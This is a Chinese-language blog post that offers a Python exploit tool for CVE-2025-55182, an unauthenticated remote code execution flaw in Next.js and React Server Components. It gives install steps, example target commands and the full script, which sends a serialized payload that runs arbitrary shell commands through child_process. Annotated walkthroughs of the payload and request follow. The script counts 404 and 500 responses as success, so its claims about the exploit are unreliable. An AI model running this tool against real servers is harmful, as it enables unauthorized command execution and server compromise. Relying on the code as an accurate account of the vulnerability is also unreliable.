CVE-2025-55182 - Next.js/React Server Components 未授权远程代码执行漏洞利用工具

CVE-2025-55182 - Next.js/React Server Components 未授权RCE漏洞利用工具

项目描述

CVE-2025-55182是一个影响React Server Components和Next.js App Router的严重安全漏洞,存在于Next.js 14.3.0-canary.77至16.0.6版本以及React 19.0.0至19.2.0版本中。该漏洞允许攻击者在无需身份验证的情况下执行任意系统命令。本项目提供了一个Python编写的漏洞利用工具(PoC),用于演示和测试该漏洞的影响。

功能特性

  • 一键式漏洞利用:只需目标URL和要执行的命令即可发起攻击
  • 无需认证:利用过程不需要任何身份验证凭据或会话信息
  • 广泛兼容:支持所有未打补丁的Next.js和React 19版本
  • 简单易用:提供清晰的命令行界面和错误提示
  • 安全警告绕过:内置了urllib3安全警告禁用功能
  • 响应解析:自动解析服务器响应并提供执行反馈

安装指南

系统要求

  • Python 3.x
  • requests库
  • 网络连接权限

安装步骤

  1. 确保已安装Python 3:
python3 --version
  1. 安装必要的依赖:
pip install requests
  1. 下载漏洞利用脚本:
git clone https://github.com/Ashwesker/Blackash-CVE-2025-55182.git
cd Blackash-CVE-2025-55182

使用说明

基本用法

python3 CVE-2025-55182.py <目标URL> <命令>

使用示例

  1. 执行简单的系统命令:
python3 CVE-2025-55182.py https://vuln.com "id"
  1. 针对本地开发服务器进行测试:
python3 CVE-2025-55182.py https://target.local:3000 "whoami"
  1. 获取服务器信息:
python3 CVE-2025-55182.py https://example.com "uname -a"

参数说明

  • <目标URL>:存在漏洞的Next.js应用程序URL(无需以斜杠结尾)
  • <命令>:要在目标服务器上执行的系统命令

核心代码

主漏洞利用逻辑

#!/usr/bin/env python3
# CVE-2025-55182 - React Server Components / Next.js App Router - Unauthenticated RCE
# Works on: Next.js 14.3.0-canary.77 → 15.0.4 / 15.1.8 / 16.0.6 (any unpatched)
# Github: https://github.com/Ashwesker/Blackash-CVE-2025-55182 
# Tested: 2025-12-03

import requests
import sys
import urllib3

# 禁用SSL证书警告,便于测试环境使用
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 参数验证和帮助信息
if len(sys.argv) < 3:
    print("CVE-2025-55182 – Unauthenticated RCE PoC")
    print("Usage:   python3 CVE-2025-55182.py <target_url> <command>")
    print("Example: python3 CVE-2025-55182.py https://vuln.com \"id\"")
    print("Example: python3 CVE-2025-55182.py https://target.local:3000 \"whoami\"")
    sys.exit(1)

# 获取目标URL和要执行的命令
target = sys.argv[1].rstrip("/")
command = sys.argv[2]

# Next.js App Router默认的Flight端点
url = f"{target}/_next/static/chunks/react-flight"

# 核心漏洞载荷 - 利用不安全的Function对象反序列化
payload = f'1{{"__type":"Function","code":"global.process.mainModule.require(\'child_process\').exec(\'{command}\')"}}'

# 构造multipart/form-data请求体
boundary = "----WebKitFormBoundaryCVE202555182"
body = (
    f"--{boundary}\r\n"
    f"Content-Disposition: form-data; name=\"0\"\r\n\r\n"
    f"{payload}\r\n"
    f"--{boundary}--\r\n"
)

# 请求头配置
headers = {
    "Content-Type": f"multipart/form-data; boundary={boundary}",
    "User-Agent": "Mozilla/5.0 (CVE-2025-55182 PoC)",
    "Accept": "*/*"
}

print("[+] CVE-2025-55182 Exploit")
print(f"[+] Target  : {target}")
print(f"[+] Command : {command}")
print(f"[+] Sending payload to {url} ...")

try:
    # 发送漏洞利用请求
    r = requests.post(url, data=body, headers=headers, timeout=15, verify=False)

    # 处理服务器响应
    if r.status_code in [200, 400, 404, 500]:
        print("[+] Payload delivered successfully!")
        print(f"[+] HTTP {r.status_code} – Command should have executed on the server")
        if len(r.text) > 0 and len(r.text) < 1000:
            print(f"[+] Server response:\n{r.text}")
    else:
        print(f"[-] Unexpected status code:", r.status_code)

except Exception as e:
    print("[-] Request failed:", e)

print("[+] Done. Go check your listener / command output")

漏洞载荷生成逻辑

# 漏洞载荷构造的核心部分
# 利用Next.js React Flight协议的不安全反序列化
# '__type':'Function' 触发Function对象的构造
# code字段包含要执行的JavaScript代码
payload = f'1{{"__type":"Function","code":"global.process.mainModule.require(\'child_process\').exec(\'{command}\')"}}'

# 载荷结构解析:
# 1. 前缀'1'表示单个数据包
# 2. '__type':'Function' 指定反序列化为Function对象
# 3. 'code'字段包含恶意JavaScript代码
# 4. 利用child_process模块执行系统命令

请求构造逻辑

# 构造multipart/form-data请求
boundary = "----WebKitFormBoundaryCVE202555182"
body = (
    f"--{boundary}\r\n"
    f"Content-Disposition: form-data; name=\"0\"\r\n\r\n"
    f"{payload}\r\n"
    f"--{boundary}--\r\n"
)

# 关键头信息:
# Content-Type指定multipart/form-data格式
# User-Agent伪装为正常浏览器
# Accept接受所有响应类型
headers = {
    "Content-Type": f"multipart/form-data; boundary={boundary}",
    "User-Agent": "Mozilla/5.0 (CVE-2025-55182 PoC)",
    "Accept": "*/*"
}

响应处理逻辑

# 发送请求并处理响应
r = requests.post(url, data=body, headers=headers, timeout=15, verify=False)

# 漏洞利用成功的HTTP状态码范围
# 200 - 正常响应
# 400 - 错误请求(但仍可能执行了命令)
# 404 - 路径不存在(但端点可能已处理请求)
# 500 - 服务器错误(命令执行可能导致错误)
if r.status_code in [200, 400, 404, 500]:
    print("[+] Payload delivered successfully!")
    print(f"[+] HTTP {r.status_code} – Command should have executed on the server")
    if len(r.text) > 0 and len(r.text) < 1000:
        print(f"[+] Server response:\n{r.text}")
else:
    print(f"[-] Unexpected status code:", r.status_code)

安全声明:本工具仅用于安全研究和授权测试目的。未经授权对他人系统进行测试是非法的,可能违反法律。使用本工具即表示您同意对自己的行为负责。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcANEE4Rmxm0rT7JAVwTBY90F
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

posted @ 2026-01-12 13:11  qife  阅读(0)  评论(0)    收藏  举报